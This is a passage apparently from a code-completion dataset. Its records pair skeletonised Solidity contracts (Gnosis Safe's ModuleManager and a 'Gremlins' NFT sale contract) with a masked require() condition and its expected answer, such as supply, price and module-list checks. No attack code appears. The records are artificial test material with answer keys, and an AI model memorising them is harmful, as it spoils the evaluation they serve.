Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModule(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success) { } /// @dev Allows a Module to execute a Safe transaction without any further confirmations and return data /// @param to Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModuleReturnData(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success, bytes memory returnData) { } /// @dev Returns if an module is enabled /// @return True if the module is enabled function isModuleEnabled(Module module) public view returns (bool) { } /// @dev Returns array of first 10 modules. /// @return Array of modules. function getModules() public view returns (address[] memory) { } /// @dev Returns array of modules. /// @param start Start of the page. /// @param pageSize Maximum number of modules that should be returned. /// @return Array of modules. function getModulesPaginated(address start, uint256 pageSize) public view returns (address[] memory array, address next) { } }
modules[address(module)]==address(0),"Module has already been added"
197,980
modules[address(module)]==address(0)
"Invalid prevModule, module pair provided"
pragma solidity >=0.5.0 <0.7.0; import "../common/Enum.sol"; import "../common/SelfAuthorized.sol"; import "./Executor.sol"; import "./Module.sol"; /// @title Module Manager - A contract that manages modules that can execute transactions via this contract /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract ModuleManager is SelfAuthorized, Executor { event EnabledModule(Module module); event DisabledModule(Module module); event ExecutionFromModuleSuccess(address indexed module); event ExecutionFromModuleFailure(address indexed module); address internal constant SENTINEL_MODULES = address(0x1); mapping (address => address) internal modules; function setupModules(address to, bytes memory data) internal { } /// @dev Allows to add a module to the whitelist. /// This can only be done via a Safe transaction. /// @notice Enables the module `module` for the Safe. /// @param module Module to be whitelisted. function enableModule(Module module) public authorized { } /// @dev Allows to remove a module from the whitelist. /// This can only be done via a Safe transaction. /// @notice Disables the module `module` for the Safe. /// @param prevModule Module that pointed to the module to be removed in the linked list /// @param module Module to be removed. function disableModule(Module prevModule, Module module) public authorized { // Validate module address and check that it corresponds to module index. require(address(module) != address(0) && address(module) != SENTINEL_MODULES, "Invalid module address provided"); require(<FILL_ME>) modules[address(prevModule)] = modules[address(module)]; modules[address(module)] = address(0); emit DisabledModule(module); } /// @dev Allows a Module to execute a Safe transaction without any further confirmations. /// @param to Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModule(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success) { } /// @dev Allows a Module to execute a Safe transaction without any further confirmations and return data /// @param to Destination address of module transaction. /// @param value Ether value of module transaction. /// @param data Data payload of module transaction. /// @param operation Operation type of module transaction. function execTransactionFromModuleReturnData(address to, uint256 value, bytes memory data, Enum.Operation operation) public returns (bool success, bytes memory returnData) { } /// @dev Returns if an module is enabled /// @return True if the module is enabled function isModuleEnabled(Module module) public view returns (bool) { } /// @dev Returns array of first 10 modules. /// @return Array of modules. function getModules() public view returns (address[] memory) { } /// @dev Returns array of modules. /// @param start Start of the page. /// @param pageSize Maximum number of modules that should be returned. /// @return Array of modules. function getModulesPaginated(address start, uint256 pageSize) public view returns (address[] memory array, address next) { } }
modules[address(prevModule)]==address(module),"Invalid prevModule, module pair provided"
197,980
modules[address(prevModule)]==address(module)
"Remaining quantity is lesser than requested amount"
/** *Submitted for verification at Etherscan.io on 2022-01-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { } } library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { } } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; string public _baseURI; constructor(string memory name_, string memory symbol_) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view virtual override returns (uint256) { } function ownerOf(uint256 tokenId) public view virtual override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function baseURI() internal view virtual returns (string memory) { } function approve(address to, uint256 tokenId) public virtual override { } function getApproved(uint256 tokenId) public view virtual override returns (address) { } function setApprovalForAll(address operator, bool approved) public virtual override { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { } function _exists(uint256 tokenId) internal view virtual returns (bool) { } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { } function _safeMint(address to, uint256 tokenId) internal virtual { } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { } function _mint(address to, uint256 tokenId) internal virtual { } function _burn(uint256 tokenId) internal virtual { } function _transfer( address from, address to, uint256 tokenId ) internal virtual { } function _approve(address to, uint256 tokenId) internal virtual { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { } function totalSupply() public view virtual override returns (uint256) { } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { } } contract Gremlins is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; uint public constant _TOTALSUPPLY = 10000; uint public maxQuantity =3; uint public reserve=25; uint public _phase=0; uint[9] public pricePhase = [0.017 ether, 0.020 ether, 0.0220 ether, 0.025 ether, 0.027 ether, 0.030 ether, 0.0315 ether, 0.0320 ether, 0.0340 ether]; uint256 public status = 0; // 0-pause, 1-public uint private tokenId=1; constructor(string memory baseURI) ERC721("Gremlins", "GRM") { } function setBaseURI(string memory baseURI) public onlyOwner { } function setPrice(uint256 _newPrice, uint256 phase) public onlyOwner() { } function setStatus(uint8 s) public onlyOwner{ } function setMaxxQtPerTx(uint256 _quantity) public onlyOwner { } // function setMaxPerUser(uint256 _maxPerUser) public onlyOwner() { // maxPerUser = _maxPerUser; // } modifier isSaleOpen{ } function getStatus() public view returns (uint256) { } function getPrice(uint256 _quantity) public view returns (uint256) { } // function getMaxPerUser() public view returns (uint256) { // return maxPerUser ; // } function reserveNFT() public onlyOwner { require(<FILL_ME>) for (uint i = 0; i < reserve; i++) { _safeMint(msg.sender, totalsupply()); } reserve=0; } function giveAway() public onlyOwner { } function giveAwayAddress(uint chosenAmount, address receiver) public onlyOwner { } function mint(uint chosenAmount) public payable isSaleOpen { } function tokensOfOwner(address _owner) public view returns (uint256[] memory) { } function withdraw() public onlyOwner { } function totalsupply() private view returns (uint) { } function checkPhase() public{ } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function contractURI() public view returns (string memory) { } } library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { } }
totalSupply()+reserve<=_TOTALSUPPLY,"Remaining quantity is lesser than requested amount"
198,074
totalSupply()+reserve<=_TOTALSUPPLY
"Quantity must be lesser then MaxSupply"
/** *Submitted for verification at Etherscan.io on 2022-01-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { } } library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { } } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; string public _baseURI; constructor(string memory name_, string memory symbol_) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view virtual override returns (uint256) { } function ownerOf(uint256 tokenId) public view virtual override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function baseURI() internal view virtual returns (string memory) { } function approve(address to, uint256 tokenId) public virtual override { } function getApproved(uint256 tokenId) public view virtual override returns (address) { } function setApprovalForAll(address operator, bool approved) public virtual override { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { } function _exists(uint256 tokenId) internal view virtual returns (bool) { } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { } function _safeMint(address to, uint256 tokenId) internal virtual { } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { } function _mint(address to, uint256 tokenId) internal virtual { } function _burn(uint256 tokenId) internal virtual { } function _transfer( address from, address to, uint256 tokenId ) internal virtual { } function _approve(address to, uint256 tokenId) internal virtual { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { } function totalSupply() public view virtual override returns (uint256) { } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { } } contract Gremlins is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; uint public constant _TOTALSUPPLY = 10000; uint public maxQuantity =3; uint public reserve=25; uint public _phase=0; uint[9] public pricePhase = [0.017 ether, 0.020 ether, 0.0220 ether, 0.025 ether, 0.027 ether, 0.030 ether, 0.0315 ether, 0.0320 ether, 0.0340 ether]; uint256 public status = 0; // 0-pause, 1-public uint private tokenId=1; constructor(string memory baseURI) ERC721("Gremlins", "GRM") { } function setBaseURI(string memory baseURI) public onlyOwner { } function setPrice(uint256 _newPrice, uint256 phase) public onlyOwner() { } function setStatus(uint8 s) public onlyOwner{ } function setMaxxQtPerTx(uint256 _quantity) public onlyOwner { } // function setMaxPerUser(uint256 _maxPerUser) public onlyOwner() { // maxPerUser = _maxPerUser; // } modifier isSaleOpen{ } function getStatus() public view returns (uint256) { } function getPrice(uint256 _quantity) public view returns (uint256) { } // function getMaxPerUser() public view returns (uint256) { // return maxPerUser ; // } function reserveNFT() public onlyOwner { } function giveAway() public onlyOwner { require(<FILL_ME>) // artail _safeMint(0x08D9ef2016CC6BdE7829Cc8FF790E3Ccc60235BE, totalsupply()); _safeMint(0x08D9ef2016CC6BdE7829Cc8FF790E3Ccc60235BE, totalsupply()); //reddit guy _safeMint(0x18D4a610e4e44127a5924C762358167dBD008871, totalsupply()); //scilinova _safeMint(0xB9452244dB8674e30b118BfE8ee295a0fD547f1d, totalsupply()); _safeMint(0xB9452244dB8674e30b118BfE8ee295a0fD547f1d, totalsupply()); //rakhee _safeMint(0x80fFd4Dd64C6556F946551017011545ECa657411, totalsupply()); _safeMint(0x80fFd4Dd64C6556F946551017011545ECa657411, totalsupply()); //michelle _safeMint(0x32d9f801cA74CFa77A50235C368fEFe4AF43cA87, totalsupply()); _safeMint(0x32d9f801cA74CFa77A50235C368fEFe4AF43cA87, totalsupply()); //Alicia _safeMint(0xF3d666c77d61E287Fdda8db5868E1B8f1CB17D4D, totalsupply()); _safeMint(0xF3d666c77d61E287Fdda8db5868E1B8f1CB17D4D, totalsupply()); _safeMint(0x880ff8DD370585919b2F74862BbE4f76CB0E2f97, totalsupply()); _safeMint(0x65b98f42D652B27964a7C9b59BdCf7fdFf8eBDEF, totalsupply()); //Usama _safeMint(0x79bF221763d63B96f232dC14f64c9de63bB1f895, totalsupply()); _safeMint(0x79bF221763d63B96f232dC14f64c9de63bB1f895, totalsupply()); _safeMint(0x79bF221763d63B96f232dC14f64c9de63bB1f895, totalsupply()); _safeMint(0x79bF221763d63B96f232dC14f64c9de63bB1f895, totalsupply()); _safeMint(0xe38CFbbf6B9BACDdeab0804796635a30988Fc576, totalsupply()); } function giveAwayAddress(uint chosenAmount, address receiver) public onlyOwner { } function mint(uint chosenAmount) public payable isSaleOpen { } function tokensOfOwner(address _owner) public view returns (uint256[] memory) { } function withdraw() public onlyOwner { } function totalsupply() private view returns (uint) { } function checkPhase() public{ } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function contractURI() public view returns (string memory) { } } library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { } }
totalSupply()+6<=_TOTALSUPPLY,"Quantity must be lesser then MaxSupply"
198,074
totalSupply()+6<=_TOTALSUPPLY
"Sent ether value is incorrect"
/** *Submitted for verification at Etherscan.io on 2022-01-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { } } library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { } } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; string public _baseURI; constructor(string memory name_, string memory symbol_) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view virtual override returns (uint256) { } function ownerOf(uint256 tokenId) public view virtual override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function baseURI() internal view virtual returns (string memory) { } function approve(address to, uint256 tokenId) public virtual override { } function getApproved(uint256 tokenId) public view virtual override returns (address) { } function setApprovalForAll(address operator, bool approved) public virtual override { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { } function _exists(uint256 tokenId) internal view virtual returns (bool) { } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { } function _safeMint(address to, uint256 tokenId) internal virtual { } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { } function _mint(address to, uint256 tokenId) internal virtual { } function _burn(uint256 tokenId) internal virtual { } function _transfer( address from, address to, uint256 tokenId ) internal virtual { } function _approve(address to, uint256 tokenId) internal virtual { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { } function totalSupply() public view virtual override returns (uint256) { } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { } } contract Gremlins is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; uint public constant _TOTALSUPPLY = 10000; uint public maxQuantity =3; uint public reserve=25; uint public _phase=0; uint[9] public pricePhase = [0.017 ether, 0.020 ether, 0.0220 ether, 0.025 ether, 0.027 ether, 0.030 ether, 0.0315 ether, 0.0320 ether, 0.0340 ether]; uint256 public status = 0; // 0-pause, 1-public uint private tokenId=1; constructor(string memory baseURI) ERC721("Gremlins", "GRM") { } function setBaseURI(string memory baseURI) public onlyOwner { } function setPrice(uint256 _newPrice, uint256 phase) public onlyOwner() { } function setStatus(uint8 s) public onlyOwner{ } function setMaxxQtPerTx(uint256 _quantity) public onlyOwner { } // function setMaxPerUser(uint256 _maxPerUser) public onlyOwner() { // maxPerUser = _maxPerUser; // } modifier isSaleOpen{ } function getStatus() public view returns (uint256) { } function getPrice(uint256 _quantity) public view returns (uint256) { } // function getMaxPerUser() public view returns (uint256) { // return maxPerUser ; // } function reserveNFT() public onlyOwner { } function giveAway() public onlyOwner { } function giveAwayAddress(uint chosenAmount, address receiver) public onlyOwner { } function mint(uint chosenAmount) public payable isSaleOpen { require(totalSupply()+chosenAmount<=_TOTALSUPPLY,"Quantity must be lesser then MaxSupply"); require(chosenAmount > 0, "Number of tokens can not be less than or equal to 0"); require(chosenAmount <= maxQuantity,"Chosen Amount exceeds MaxQuantity"); require(<FILL_ME>) require(status == 1, "Sorry the sale is not open"); // require(chosenAmount + balanceOf(msg.sender) <= maxPerUser , "You can not mint more than the maximum allowed per user."); for (uint i = 0; i < chosenAmount; i++) { _safeMint(msg.sender, totalsupply()); } } function tokensOfOwner(address _owner) public view returns (uint256[] memory) { } function withdraw() public onlyOwner { } function totalsupply() private view returns (uint) { } function checkPhase() public{ } function tokenURI(uint256 tokenId) public view override returns (string memory) { } function contractURI() public view returns (string memory) { } } library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { } }
pricePhase[_phase].mul(chosenAmount)==msg.value,"Sent ether value is incorrect"
198,074
pricePhase[_phase].mul(chosenAmount)==msg.value
